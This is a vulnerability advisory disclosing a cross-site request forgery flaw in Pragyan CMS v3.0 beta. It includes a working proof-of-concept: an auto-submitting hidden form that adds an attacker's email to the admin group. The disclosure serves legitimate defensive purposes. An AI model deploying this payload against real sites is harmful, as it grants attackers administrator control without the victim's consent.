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HTB22855: XSRF (CSRF) in Pragyan CMS

Description

Vulnerability ID: HTB22855 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_pragyan_cms.html Product: Pragyan CMS Vendor: Pragyan Team ( http://sourceforge.net/projects/pragyan/ ) Vulnerable Version: v.3.0 beta Vendor Notification: 17 February 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "cms/admin.lib.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/?page=/&action=admin&subaction=editgroups&groupname=admin" method="post" name="main"> <input type="hidden" name="txtUserEmail" value="myemail@example.com+-"> <input type="hidden" name="btnAddUserToGroup" value="Add User to Group"> </form> <script> document.main.submit(); </script>